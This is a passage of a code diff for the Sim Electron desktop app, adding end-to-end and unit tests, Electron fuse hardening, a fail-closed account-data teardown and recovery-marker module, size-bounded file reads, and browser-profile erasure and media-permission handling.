document.cookie = 'sim-e2e-session=shared; Path=/; SameSite=Lax'
|
||||
})
|
||||
const popupPromise = app.waitForEvent('window')
|
||||
await window.locator('#mcp-popup').click()
|
||||
const popup = await popupPromise
|
||||
|
||||
await expect(popup.locator('#mcp')).toHaveText('oauth-popup')
|
||||
await expect
|
||||
.poll(() => popup.evaluate(() => typeof (globalThis as { simDesktop?: unknown }).simDesktop))
|
||||
.toBe('undefined')
|
||||
})
|
||||
|
||||
test('cross-origin same-window navigation opens externally and preserves the app document', async () => {
|
||||
app = await launchApp(origin)
|
||||
const window = await app.firstWindow()
|
||||
await app.evaluate(({ shell }) => {
|
||||
const opened: string[] = []
|
||||
;(globalThis as { __openedExternal?: string[] }).__openedExternal = opened
|
||||
shell.openExternal = async (url: string) => {
|
||||
opened.push(url)
|
||||
}
|
||||
})
|
||||
|
||||
await window.locator('#external-navigate').click({ noWaitAfter: true })
|
||||
|
||||
await expect
|
||||
.poll(() =>
|
||||
app.evaluate(() => (globalThis as { __openedExternal?: string[] }).__openedExternal)
|
||||
)
|
||||
.toEqual(['https://docs.sim.ai/navigation'])
|
||||
expect(window.url()).toBe(`${origin}/workspace`)
|
||||
})
|
||||
|
||||
test('unreachable origin shows the bundled offline page', async () => {
|
||||
app = await launchApp('http://127.0.0.1:1')
|
||||
const window = await app.firstWindow()
|
||||
@@ -131,5 +179,8 @@ test.describe('desktop shell smoke', () => {
|
||||
await expect(window.locator('#retry')).toHaveCSS('font-size', '14px')
|
||||
await expect(window.locator('#retry')).toHaveCSS('line-height', '20px')
|
||||
await expect(window.locator('#retry')).toHaveCSS('text-align', 'left')
|
||||
await window.locator('#retry').focus()
|
||||
await expect(window.locator('#retry')).toHaveCSS('outline-style', 'solid')
|
||||
await expect(window.locator('#detail')).toHaveAttribute('role', 'status')
|
||||
})
|
||||
})
|
||||
|
||||
@@ -36,6 +36,8 @@ electronFuses:
|
||||
enableNodeCliInspectArguments: false
|
||||
enableEmbeddedAsarIntegrityValidation: true
|
||||
onlyLoadAppFromAsar: true
|
||||
loadBrowserProcessSpecificV8Snapshot: false
|
||||
grantFileProtocolExtraPrivileges: false
|
||||
|
||||
mac:
|
||||
category: public.app-category.developer-tools
|
||||
|
||||
@@ -45,6 +45,7 @@
|
||||
"safe-regex2": "5.1.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@electron/fuses": "1.8.0",
|
||||
"@playwright/test": "1.61.1",
|
||||
"@sim/tsconfig": "workspace:*",
|
||||
"@types/micromatch": "4.0.10",
|
||||
|
||||
@@ -0,0 +1,230 @@
|
||||
import {
|
||||
existsSync,
|
||||
mkdirSync,
|
||||
mkdtempSync,
|
||||
readFileSync,
|
||||
unlinkSync,
|
||||
writeFileSync,
|
||||
} from 'node:fs'
|
||||
import { rm } from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
import {
|
||||
beginAccountDataTeardown,
|
||||
captureAccountDataGeneration,
|
||||
completeAccountDataTeardown,
|
||||
completeDeploymentScopedTeardown,
|
||||
getAccountDataTeardownKind,
|
||||
getAccountDataTeardownOrigin,
|
||||
initializeAccountDataRecovery,
|
||||
invalidateAccountDataOperations,
|
||||
isAccountDataTeardownRequired,
|
||||
prepareAccountDataTeardownForQuit,
|
||||
retryAccountDataTeardown,
|
||||
runAccountDataMutation,
|
||||
waitForAccountDataMutations,
|
||||
} from '@/main/account-data-generation'
|
||||
|
||||
const ORIGIN = 'https://sim.example.com'
|
||||
|
||||
describe('account data generation', () => {
|
||||
let directory: string
|
||||
let markerPath: string
|
||||
|
||||
beforeEach(() => {
|
||||
directory = mkdtempSync(join(tmpdir(), 'sim-account-recovery-'))
|
||||
markerPath = join(directory, 'teardown-required.json')
|
||||
initializeAccountDataRecovery(markerPath)
|
||||
})
|
||||
|
||||
afterEach(async () => {
|
||||
completeAccountDataTeardown()
|
||||
initializeAccountDataRecovery(null)
|
||||
await rm(directory, { recursive: true, force: true })
|
||||
})
|
||||
|
||||
it('blocks account-data mutations and persists teardown intent', () => {
|
||||
expect(beginAccountDataTeardown('account', ORIGIN)).toBe(true)
|
||||
|
||||
expect(existsSync(markerPath)).toBe(true)
|
||||
expect(JSON.parse(readFileSync(markerPath, 'utf8'))).toEqual({
|
||||
version: 2,
|
||||
kind: 'account',
|
||||
origin: ORIGIN,
|
||||
})
|
||||
expect(isAccountDataTeardownRequired()).toBe(true)
|
||||
})
|
||||
|
||||
it('fails closed and retries marker persistence before quit', () => {
|
||||
const blockedParent = join(directory, 'blocked')
|
||||
markerPath = join(blockedParent, 'teardown-required.json')
|
||||
initializeAccountDataRecovery(markerPath)
|
||||
writeFileSync(blockedParent, 'not a directory')
|
||||
|
||||
expect(beginAccountDataTeardown('account', ORIGIN)).toBe(false)
|
||||
expect(isAccountDataTeardownRequired()).toBe(false)
|
||||
expect(prepareAccountDataTeardownForQuit()).toBe(true)
|
||||
|
||||
unlinkSync(blockedParent)
|
||||
mkdirSync(blockedParent)
|
||||
expect(beginAccountDataTeardown('account', ORIGIN)).toBe(true)
|
||||
expect(existsSync(markerPath)).toBe(true)
|
||||
})
|
||||
|
||||
it('does not erase data when the recovery marker cannot be written', async () => {
|
||||
const blockedParent = join(directory, 'blocked')
|
||||
markerPath = join(blockedParent, 'teardown-required.json')
|
||||
initializeAccountDataRecovery(markerPath)
|
||||
writeFileSync(blockedParent, 'not a directory')
|
||||
const generation = captureAccountDataGeneration()
|
||||
expect(beginAccountDataTeardown('account', ORIGIN)).toBe(false)
|
||||
const firstClear = vi.fn(async () => {})
|
||||
const secondClear = vi.fn(async () => {})
|
||||
|
||||
await expect(
|
||||
retryAccountDataTeardown([
|
||||
{ label: 'browser profile', clear: firstClear },
|
||||
{ label: 'local filesystem grants', clear: secondClear },
|
||||
])
|
||||
).resolves.toEqual([])
|
||||
|
||||
expect(firstClear).not.toHaveBeenCalled()
|
||||
expect(secondClear).not.toHaveBeenCalled()
|
||||
expect(isAccountDataTeardownRequired()).toBe(false)
|
||||
await expect(runAccountDataMutation(generation, async () => 'ok')).resolves.toBe('ok')
|
||||
})
|
||||
|
||||
it('restores the fail-closed state from a marker and clears it only on completion', () => {
|
||||
writeFileSync(markerPath, JSON.stringify({ version: 2, kind: 'deployment', origin: ORIGIN }))
|
||||
|
||||
expect(initializeAccountDataRecovery(markerPath)).toBe(true)
|
||||
expect(isAccountDataTeardownRequired()).toBe(true)
|
||||
expect(getAccountDataTeardownKind()).toBe('deployment')
|
||||
expect(getAccountDataTeardownOrigin()).toBe(ORIGIN)
|
||||
|
||||
completeAccountDataTeardown()
|
||||
expect(existsSync(markerPath)).toBe(false)
|
||||
expect(isAccountDataTeardownRequired()).toBe(false)
|
||||
expect(getAccountDataTeardownKind()).toBeNull()
|
||||
})
|
||||
|
||||
it('keeps recovery gated until a retry clears every account store', async () => {
|
||||
beginAccountDataTeardown('account', ORIGIN)
|
||||
const failedClear = vi.fn(async () => {
|
||||
throw new Error('keychain unavailable')
|
||||
})
|
||||
const successfulClear = vi.fn(async () => {})
|
||||
|
||||
await expect(
|
||||
retryAccountDataTeardown([
|
||||
{ label: 'browser profile', clear: failedClear },
|
||||
{ label: 'local filesystem grants', clear: successfulClear },
|
||||
])
|
||||
).resolves.toEqual(['browser profile'])
|
||||
expect(existsSync(markerPath)).toBe(true)
|
||||
expect(isAccountDataTeardownRequired()).toBe(true)
|
||||
|
||||
await expect(
|
||||
retryAccountDataTeardown([
|
||||
{ label: 'browser profile', clear: successfulClear },
|
||||
{ label: 'local filesystem grants', clear: successfulClear },
|
||||
])
|
||||
).resolves.toEqual([])
|
||||
expect(existsSync(markerPath)).toBe(false)
|
||||
expect(isAccountDataTeardownRequired()).toBe(false)
|
||||
})
|
||||
|
||||
it('never downgrades or clears an account recovery marker for a server switch', () => {
|
||||
beginAccountDataTeardown('account', ORIGIN)
|
||||
beginAccountDataTeardown('deployment', ORIGIN)
|
||||
const commit = vi.fn(() => true)
|
||||
|
||||
expect(getAccountDataTeardownKind()).toBe('account')
|
||||
expect(completeDeploymentScopedTeardown(commit)).toBe(false)
|
||||
expect(commit).not.toHaveBeenCalled()
|
||||
expect(existsSync(markerPath)).toBe(true)
|
||||
expect(isAccountDataTeardownRequired()).toBe(true)
|
||||
})
|
||||
|
||||
it('does not retarget an active teardown to a different origin', () => {
|
||||
beginAccountDataTeardown('deployment', ORIGIN)
|
||||
|
||||
expect(beginAccountDataTeardown('account', 'https://other.example.com')).toBe(false)
|
||||
expect(getAccountDataTeardownKind()).toBe('deployment')
|
||||
expect(getAccountDataTeardownOrigin()).toBe(ORIGIN)
|
||||
expect(JSON.parse(readFileSync(markerPath, 'utf8'))).toEqual({
|
||||
version: 2,
|
||||
kind: 'deployment',
|
||||
origin: ORIGIN,
|
||||
})
|
||||
})
|
||||
|
||||
it('keeps deployment recovery armed when the server configuration commit fails', () => {
|
||||
beginAccountDataTeardown('deployment', ORIGIN)
|
||||
|
||||
expect(completeDeploymentScopedTeardown(() => false)).toBe(false)
|
||||
expect(existsSync(markerPath)).toBe(true)
|
||||
expect(isAccountDataTeardownRequired()).toBe(true)
|
||||
})
|
||||
|
||||
it('keeps deployment recovery armed when the server configuration commit throws', () => {
|
||||
beginAccountDataTeardown('deployment', ORIGIN)
|
||||
|
||||
expect(() =>
|
||||
completeDeploymentScopedTeardown(() => {
|
||||
throw new Error('disk unavailable')
|
||||
})
|
||||
).toThrow('disk unavailable')
|
||||
expect(existsSync(markerPath)).toBe(true)
|
||||
expect(isAccountDataTeardownRequired()).toBe(true)
|
||||
})
|
||||
|
||||
it('reports successful completion of a deployment-scoped teardown', () => {
|
||||
beginAccountDataTeardown('deployment', ORIGIN)
|
||||
|
||||
expect(completeDeploymentScopedTeardown(() => true)).toBe(true)
|
||||
expect(isAccountDataTeardownRequired()).toBe(false)
|
||||
})
|
||||
|
||||
it('treats an unknown marker version as an untrusted account teardown', () => {
|
||||
writeFileSync(markerPath, '{"version":3,"kind":"deployment","origin":"https://old.example"}')
|
||||
|
||||
initializeAccountDataRecovery(markerPath)
|
||||
|
||||
expect(getAccountDataTeardownKind()).toBe('account')
|
||||
expect(getAccountDataTeardownOrigin()).toBeNull()
|
||||
expect(prepareAccountDataTeardownForQuit()).toBe(false)
|
||||
})
|
||||
|
||||
it('waits for an admitted commit before teardown can clear its store', async () => {
|
||||
let releaseMutation: (() => void) | undefined
|
||||
const mutation = new Promise<void>((resolve) => {
|
||||
releaseMutation = resolve
|
||||
})
|
||||
const generation = captureAccountDataGeneration()
|
||||
const pendingMutation = runAccountDataMutation(generation, () => mutation)
|
||||
|
||||
invalidateAccountDataOperations()
|
||||
const settled = vi.fn()
|
||||
const pendingWait = waitForAccountDataMutations().then(settled)
|
||||
await Promise.resolve()
|
||||
expect(settled).not.toHaveBeenCalled()
|
||||
|
||||
releaseMutation?.()
|
||||
await pendingMutation
|
||||
await pendingWait
|
||||
expect(settled).toHaveBeenCalledOnce()
|
||||
})
|
||||
|
||||
it('rejects a stale commit after teardown begins', async () => {
|
||||
const generation = captureAccountDataGeneration()
|
||||
invalidateAccountDataOperations()
|
||||
const mutation = vi.fn(async () => {})
|
||||
|
||||
await expect(runAccountDataMutation(generation, mutation)).rejects.toThrow(
|
||||
'expired during teardown'
|
||||
)
|
||||
expect(mutation).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,223 @@
|
||||
import { readFileSync, unlinkSync } from 'node:fs'
|
||||
import { writeJsonFileAtomicallySync } from '@/main/atomic-json-file'
|
||||
import { canonicalOrigin, validateOriginInput } from '@/main/config'
|
||||
|
||||
const RECOVERY_MARKER_VERSION = 2
|
||||
export type AccountDataTeardownKind = 'account' | 'deployment'
|
||||
|
||||
interface AccountDataRecoveryMarker {
|
||||
kind: AccountDataTeardownKind
|
||||
origin: string | null
|
||||
}
|
||||
|
||||
let generation = 0
|
||||
let teardownRequired = false
|
||||
let teardownKind: AccountDataTeardownKind | null = null
|
||||
let teardownOrigin: string | null = null
|
||||
let recoveryMarkerPath: string | null = null
|
||||
let durableTeardownKind: AccountDataTeardownKind | null = null
|
||||
let durableTeardownOrigin: string | null = null
|
||||
const activeMutations = new Set<Promise<unknown>>()
|
||||
|
||||
export class ExpiredAccountDataOperationError extends Error {
|
||||
constructor() {
|
||||
super('The account-data operation expired during teardown.')
|
||||
this.name = 'ExpiredAccountDataOperationError'
|
||||
}
|
||||
}
|
||||
|
||||
export function captureAccountDataGeneration(): number {
|
||||
return generation
|
||||
}
|
||||
|
||||
/** Expires work already in progress without changing whether new work is admitted. */
|
||||
export function advanceAccountDataGeneration(): void {
|
||||
generation += 1
|
||||
}
|
||||
|
||||
/** Restores the fail-closed teardown state before account-bearing stores open. */
|
||||
export function initializeAccountDataRecovery(filePath: string | null): boolean {
|
||||
recoveryMarkerPath = filePath
|
||||
const marker = filePath ? readRecoveryMarker(filePath) : null
|
||||
const recoveryRequired = marker !== null
|
||||
if (recoveryRequired && !teardownRequired) {
|
||||
advanceAccountDataGeneration()
|
||||
}
|
||||
teardownRequired = recoveryRequired
|
||||
teardownKind = marker?.kind ?? null
|
||||
teardownOrigin = marker?.origin ?? null
|
||||
durableTeardownKind = marker?.kind ?? null
|
||||
durableTeardownOrigin = marker?.origin ?? null
|
||||
return recoveryRequired
|
||||
}
|
||||
|
||||
export function invalidateAccountDataOperations(): void {
|
||||
advanceAccountDataGeneration()
|
||||
teardownRequired = true
|
||||
}
|
||||
|
||||
/** Persists recovery intent before invalidating account-data work. */
|
||||
export function beginAccountDataTeardown(kind: AccountDataTeardownKind, origin: string): boolean {
|
||||
const validated = validateOriginInput(origin)
|
||||
if (!validated.ok) return false
|
||||
const targetOrigin = canonicalOrigin(validated.origin)
|
||||
if (teardownRequired && teardownOrigin !== targetOrigin) return false
|
||||
const effectiveKind = kind === 'account' || teardownKind === 'account' ? 'account' : 'deployment'
|
||||
if (!persistAccountDataRecoveryMarker(effectiveKind, targetOrigin)) return false
|
||||
const wasRequired = teardownRequired
|
||||
teardownKind = effectiveKind
|
||||
teardownOrigin = targetOrigin
|
||||
teardownRequired = true
|
||||
if (!wasRequired) advanceAccountDataGeneration()
|
||||
return true
|
||||
}
|
||||
|
||||
export function isAccountDataTeardownRequired(): boolean {
|
||||
return teardownRequired
|
||||
}
|
||||
|
||||
export function getAccountDataTeardownKind(): AccountDataTeardownKind | null {
|
||||
return teardownKind
|
||||
}
|
||||
|
||||
export function getAccountDataTeardownOrigin(): string | null {
|
||||
return teardownOrigin
|
||||
}
|
||||
|
||||
/** Retries marker persistence so shutdown cannot lose an incomplete teardown. */
|
||||
export function prepareAccountDataTeardownForQuit(): boolean {
|
||||
return (
|
||||
!teardownRequired ||
|
||||
(teardownKind !== null &&
|
||||
teardownOrigin !== null &&
|
||||
persistAccountDataRecoveryMarker(teardownKind, teardownOrigin))
|
||||
)
|
||||
}
|
||||
|
||||
export interface AccountDataRecoveryStore {
|
||||
label: string
|
||||
clear: () => void | Promise<void>
|
||||
}
|
||||
|
||||
/** Retries every erasure from an interrupted teardown without restoring stores first. */
|
||||
export async function retryAccountDataTeardown(
|
||||
stores: readonly AccountDataRecoveryStore[]
|
||||
): Promise<readonly string[]> {
|
||||
if (!teardownRequired) return []
|
||||
await waitForAccountDataMutations()
|
||||
const outcomes = await Promise.allSettled(
|
||||
stores.map(({ clear }) => Promise.resolve().then(clear))
|
||||
)
|
||||
const failures = outcomes.flatMap((outcome, index) =>
|
||||
outcome.status === 'rejected' ? [stores[index].label] : []
|
||||
)
|
||||
if (failures.length === 0) {
|
||||
completeAccountDataTeardown()
|
||||
}
|
||||
return failures
|
||||
}
|
||||
|
||||
export function isAccountDataGenerationCurrent(capturedGeneration: number): boolean {
|
||||
return !teardownRequired && capturedGeneration === generation
|
||||
}
|
||||
|
||||
/** Allows account-data mutations again only after every sensitive store was erased. */
|
||||
export function completeAccountDataTeardown(): void {
|
||||
if (recoveryMarkerPath) {
|
||||
try {
|
||||
unlinkSync(recoveryMarkerPath)
|
||||
} catch (error) {
|
||||
const code = (error as NodeJS.ErrnoException).code
|
||||
if (code !== 'ENOENT' && code !== 'ENOTDIR') throw error
|
||||
}
|
||||
}
|
||||
durableTeardownKind = null
|
||||
durableTeardownOrigin = null
|
||||
teardownRequired = false
|
||||
teardownKind = null
|
||||
teardownOrigin = null
|
||||
}
|
||||
|
||||
/** Commits a server switch and clears its marker without weakening an account wipe. */
|
||||
export function completeDeploymentScopedTeardown(commit: () => boolean): boolean {
|
||||
if (teardownKind !== 'deployment') return false
|
||||
if (!commit()) return false
|
||||
completeAccountDataTeardown()
|
||||
return true
|
||||
}
|
||||
|
||||
/** Tracks a persistent mutation so teardown waits for it to settle. */
|
||||
export async function runAccountDataMutation<T>(
|
||||
capturedGeneration: number,
|
||||
operation: () => Promise<T>
|
||||
): Promise<T> {
|
||||
if (!isAccountDataGenerationCurrent(capturedGeneration)) {
|
||||
throw new ExpiredAccountDataOperationError()
|
||||
}
|
||||
const pending = operation()
|
||||
activeMutations.add(pending)
|
||||
try {
|
||||
return await pending
|
||||
} finally {
|
||||
activeMutations.delete(pending)
|
||||
}
|
||||
}
|
||||
|
||||
/** Waits until commits already admitted for the outgoing account have settled. */
|
||||
export async function waitForAccountDataMutations(): Promise<void> {
|
||||
while (activeMutations.size > 0) {
|
||||
await Promise.allSettled([...activeMutations])
|
||||
}
|
||||
}
|
||||
|
||||
function persistAccountDataRecoveryMarker(kind: AccountDataTeardownKind, origin: string): boolean {
|
||||
if (
|
||||
durableTeardownOrigin === origin &&
|
||||
(durableTeardownKind === 'account' ||
|
||||
(durableTeardownKind === 'deployment' && kind === 'deployment'))
|
||||
) {
|
||||
return true
|
||||
}
|
||||
if (!recoveryMarkerPath) return false
|
||||
try {
|
||||
writeJsonFileAtomicallySync(recoveryMarkerPath, {
|
||||
version: RECOVERY_MARKER_VERSION,
|
||||
kind,
|
||||
origin,
|
||||
})
|
||||
durableTeardownKind = kind
|
||||
durableTeardownOrigin = origin
|
||||
return true
|
||||
} catch {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
function readRecoveryMarker(filePath: string): AccountDataRecoveryMarker | null {
|
||||
let raw: string
|
||||
try {
|
||||
raw = readFileSync(filePath, 'utf8')
|
||||
} catch (error) {
|
||||
return (error as NodeJS.ErrnoException).code === 'ENOENT'
|
||||
? null
|
||||
: { kind: 'account', origin: null }
|
||||
}
|
||||
|
||||
try {
|
||||
const parsed = JSON.parse(raw) as { kind?: unknown; origin?: unknown; version?: unknown }
|
||||
if (
|
||||
parsed.version !== RECOVERY_MARKER_VERSION ||
|
||||
(parsed.kind !== 'account' && parsed.kind !== 'deployment') ||
|
||||
typeof parsed.origin !== 'string'
|
||||
) {
|
||||
return { kind: 'account', origin: null }
|
||||
}
|
||||
const validated = validateOriginInput(parsed.origin)
|
||||
if (!validated.ok || canonicalOrigin(validated.origin) !== parsed.origin) {
|
||||
return { kind: 'account', origin: null }
|
||||
}
|
||||
return { kind: parsed.kind, origin: parsed.origin }
|
||||
} catch {
|
||||
return { kind: 'account', origin: null }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { afterEach, beforeEach, describe, expect, it } from 'vitest'
|
||||
import {
|
||||
FileResourceLimitError,
|
||||
readFileWithinLimit,
|
||||
readFileWithinLimitSync,
|
||||
} from '@/main/atomic-json-file'
|
||||
|
||||
describe('bounded file reads', () => {
|
||||
let directory: string
|
||||
|
||||
beforeEach(() => {
|
||||
directory = mkdtempSync(join(tmpdir(), 'sim-bounded-file-'))
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
rmSync(directory, { recursive: true, force: true })
|
||||
})
|
||||
|
||||
it('reads the file through its opened handle', async () => {
|
||||
const filePath = join(directory, 'store.json')
|
||||
writeFileSync(filePath, 'bounded payload')
|
||||
|
||||
await expect(readFileWithinLimit(filePath, 15)).resolves.toEqual(Buffer.from('bounded payload'))
|
||||
expect(readFileWithinLimitSync(filePath, 15)).toEqual(Buffer.from('bounded payload'))
|
||||
})
|
||||
|
||||
it('rejects a file larger than the configured limit', async () => {
|
||||
const filePath = join(directory, 'store.json')
|
||||
writeFileSync(filePath, 'too large')
|
||||
|
||||
await expect(readFileWithinLimit(filePath, 8)).rejects.toBeInstanceOf(FileResourceLimitError)
|
||||
expect(() => readFileWithinLimitSync(filePath, 8)).toThrow(FileResourceLimitError)
|
||||
})
|
||||
|
||||
it('rejects non-file handles', async () => {
|
||||
const childDirectory = join(directory, 'store')
|
||||
mkdirSync(childDirectory)
|
||||
|
||||
await expect(readFileWithinLimit(childDirectory, 100)).rejects.toBeInstanceOf(
|
||||
FileResourceLimitError
|
||||
)
|
||||
expect(() => readFileWithinLimitSync(childDirectory, 100)).toThrow(FileResourceLimitError)
|
||||
})
|
||||
})
|
||||
@@ -1,10 +1,71 @@
|
||||
import { mkdirSync, renameSync, writeFileSync } from 'node:fs'
|
||||
import { mkdir, rename, unlink, writeFile } from 'node:fs/promises'
|
||||
import {
|
||||
closeSync,
|
||||
fstatSync,
|
||||
mkdirSync,
|
||||
openSync,
|
||||
readSync,
|
||||
renameSync,
|
||||
writeFileSync,
|
||||
} from 'node:fs'
|
||||
import { mkdir, open, rename, unlink, writeFile } from 'node:fs/promises'
|
||||
import { dirname } from 'node:path'
|
||||
|
||||
/** Owner-only, matching every store that keeps user data in userData. */
|
||||
const FILE_MODE = 0o600
|
||||
|
||||
export class FileResourceLimitError extends Error {
|
||||
constructor() {
|
||||
super('File exceeded the configured size limit')
|
||||
this.name = 'FileResourceLimitError'
|
||||
}
|
||||
}
|
||||
|
||||
function validateReadableFile(isFile: boolean, size: number, maxBytes: number): void {
|
||||
if (!isFile || !Number.isSafeInteger(size) || size < 0 || size > maxBytes) {
|
||||
throw new FileResourceLimitError()
|
||||
}
|
||||
}
|
||||
|
||||
/** Reads at most the size observed on the opened file handle, plus one growth-detection byte. */
|
||||
export async function readFileWithinLimit(filePath: string, maxBytes: number): Promise<Buffer> {
|
||||
const handle = await open(filePath, 'r')
|
||||
try {
|
||||
const metadata = await handle.stat()
|
||||
validateReadableFile(metadata.isFile(), metadata.size, maxBytes)
|
||||
const buffer = Buffer.allocUnsafe(metadata.size + 1)
|
||||
let offset = 0
|
||||
while (offset < buffer.length) {
|
||||
const { bytesRead } = await handle.read(buffer, offset, buffer.length - offset, offset)
|
||||
if (bytesRead === 0) break
|
||||
offset += bytesRead
|
||||
}
|
||||
if (offset > metadata.size) throw new FileResourceLimitError()
|
||||
return buffer.subarray(0, offset)
|
||||
} finally {
|
||||
await handle.close()
|
||||
}
|
||||
}
|
||||
|
||||
/** Synchronous counterpart for Electron shutdown and startup paths that cannot await. */
|
||||
export function readFileWithinLimitSync(filePath: string, maxBytes: number): Buffer {
|
||||
const descriptor = openSync(filePath, 'r')
|
||||
try {
|
||||
const metadata = fstatSync(descriptor)
|
||||
validateReadableFile(metadata.isFile(), metadata.size, maxBytes)
|
||||
const buffer = Buffer.allocUnsafe(metadata.size + 1)
|
||||
let offset = 0
|
||||
while (offset < buffer.length) {
|
||||
const bytesRead = readSync(descriptor, buffer, offset, buffer.length - offset, offset)
|
||||
if (bytesRead === 0) break
|
||||
offset += bytesRead
|
||||
}
|
||||
if (offset > metadata.size) throw new FileResourceLimitError()
|
||||
return buffer.subarray(0, offset)
|
||||
} finally {
|
||||
closeSync(descriptor)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Distinct per call, not just per process.
|
||||
*
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
vi.mock('electron', () => import('@/test/electron-mock'))
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
clearProfileStorage: vi.fn(async () => {}),
|
||||
clearCredentials: vi.fn(async () => {}),
|
||||
}))
|
||||
|
||||
vi.mock('@/main/browser-agent/session', () => ({
|
||||
clearProfileStorage: mocks.clearProfileStorage,
|
||||
initSession: vi.fn(),
|
||||
}))
|
||||
|
||||
vi.mock('@/main/browser-credentials', () => ({
|
||||
clearCredentials: mocks.clearCredentials,
|
||||
fillCoordinator: vi.fn(() => null),
|
||||
initFillCoordinator: vi.fn(),
|
||||
}))
|
||||
|
||||
import { clearBrowserProfile, initDriver } from '@/main/browser-agent/driver'
|
||||
import type { ConfigStore } from '@/main/config'
|
||||
|
||||
describe('clearBrowserProfile', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks()
|
||||
})
|
||||
|
||||
it('requires settings erasure for sign-out but lets explicit server repair replace it', async () => {
|
||||
const config = {
|
||||
get: vi.fn(() => undefined),
|
||||
set: vi.fn(),
|
||||
flush: vi.fn(() => false),
|
||||
} as unknown as ConfigStore
|
||||
initDriver(
|
||||
{
|
||||
onPageState: vi.fn(),
|
||||
onTabsState: vi.fn(),
|
||||
onSessionStatus: vi.fn(),
|
||||
onFillAvailability: vi.fn(),
|
||||
},
|
||||
() => null,
|
||||
config
|
||||
)
|
||||
|
||||
await expect(clearBrowserProfile()).rejects.toThrow('Browser profile teardown was incomplete')
|
||||
await expect(
|
||||
clearBrowserProfile({ settingsPersistence: 'server-repair' })
|
||||
).resolves.toBeUndefined()
|
||||
|
||||
expect(mocks.clearProfileStorage).toHaveBeenCalledTimes(2)
|
||||
expect(mocks.clearCredentials).toHaveBeenCalledTimes(2)
|
||||
expect(config.flush).toHaveBeenCalledTimes(2)
|
||||
})
|
||||
})
|
||||
@@ -571,6 +571,23 @@ describe('executeTool', () => {
|
||||
)
|
||||
})
|
||||
|
||||
it('routes an exact renderer media decision through the scoped session boundary', async () => {
|
||||
const respond = vi.spyOn(session, 'respondToMediaPermission').mockResolvedValue()
|
||||
|
||||
await driver.handlePanelAction('chat-test', {
|
||||
action: 'respond-media-permission',
|
||||
requestId: 'request-1',
|
||||
allowed: true,
|
||||
})
|
||||
await driver.handlePanelAction('chat-test', {
|
||||
action: 'respond-media-permission',
|
||||
requestId: 'request-2',
|
||||
})
|
||||
|
||||
expect(respond).toHaveBeenCalledOnce()
|
||||
expect(respond).toHaveBeenCalledWith('request-1', true)
|
||||
})
|
||||
|
||||
it('keeps tool queues and tab state isolated by chat scope', async () => {
|
||||
await driver.executeTool('chat-a', 'browser_open_tab', {})
|
||||
await driver.executeTool('chat-a', 'browser_open_tab', {})
|
||||
|
||||
@@ -265,6 +265,7 @@ function recordNotice(notice: string): void {
|
||||
*/
|
||||
function pageStateFor(contents: WebContents, tabId: string): BrowserPageState {
|
||||
const issue = session.pageIssueForContents(contents)
|
||||
const mediaPermissionRequest = session.mediaPermissionRequestForContents(contents)
|
||||
return {
|
||||
scopeId: session.getBrowserScopeId(),
|
||||
tabId,
|
||||
@@ -274,6 +275,7 @@ function pageStateFor(contents: WebContents, tabId: string): BrowserPageState {
|
||||
canGoBack: session.canGoBack(contents),
|
||||
canGoForward: session.canGoForward(contents),
|
||||
...(issue ? { issue } : {}),
|
||||
...(mediaPermissionRequest ? { mediaPermissionRequest } : {}),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -661,8 +663,9 @@ export async function clearBrowsingData(
|
||||
): Promise<void> {
|
||||
// The remembered browsing trail is the local mirror of the cookie jar, so it
|
||||
// goes when cookies do and stays when they do not.
|
||||
if (kinds.includes('cookies')) knownSessions?.clear()
|
||||
const settingsCleared = !kinds.includes('cookies') || knownSessions?.clear() !== false
|
||||
await session.clearAgentData(kinds)
|
||||
if (!settingsCleared) throw new Error('Browser settings could not be erased')
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -671,15 +674,32 @@ export async function clearBrowsingData(
|
||||
* in on the same machine must not inherit the previous user's sessions or
|
||||
* passwords.
|
||||
*/
|
||||
export async function clearBrowserProfile(): Promise<void> {
|
||||
knownSessions?.clear()
|
||||
await session.clearProfileStorage()
|
||||
await clearCredentials()
|
||||
export interface ClearBrowserProfileOptions {
|
||||
/** The server picker will replace the blocked settings file immediately after profile erasure. */
|
||||
settingsPersistence: 'required' | 'server-repair'
|
||||
}
|
||||
|
||||
export async function clearBrowserProfile(
|
||||
options: ClearBrowserProfileOptions = { settingsPersistence: 'required' }
|
||||
): Promise<void> {
|
||||
const settingsCleared = knownSessions?.clear() !== false
|
||||
const outcomes = await Promise.allSettled([session.clearProfileStorage(), clearCredentials()])
|
||||
// Last, covering the pinned-tab list `clearProfileStorage` just emptied.
|
||||
// Settings writes coalesce, and an erasure that is still sitting in that
|
||||
// window when the process dies leaves the previous account's data on disk
|
||||
// after sign-out already told the user it was gone.
|
||||
configStore?.flush()
|
||||
if (
|
||||
(!settingsCleared || configStore?.flush() === false) &&
|
||||
options.settingsPersistence === 'required'
|
||||
) {
|
||||
outcomes.push({ status: 'rejected', reason: new Error('Browser settings could not be erased') })
|
||||
}
|
||||
const failures = outcomes.flatMap((outcome) =>
|
||||
outcome.status === 'rejected' ? [outcome.reason] : []
|
||||
)
|
||||
if (failures.length > 0) {
|
||||
throw new AggregateError(failures, 'Browser profile teardown was incomplete.')
|
||||
}
|
||||
}
|
||||
|
||||
function str(params: Record<string, unknown>, key: string): string | undefined {
|
||||
@@ -3798,6 +3818,12 @@ export async function handlePanelAction(
|
||||
}
|
||||
return
|
||||
}
|
||||
if (action.action === 'respond-media-permission') {
|
||||
if (typeof action.requestId === 'string' && typeof action.allowed === 'boolean') {
|
||||
await session.respondToMediaPermission(action.requestId, action.allowed)
|
||||
}
|
||||
return
|
||||
}
|
||||
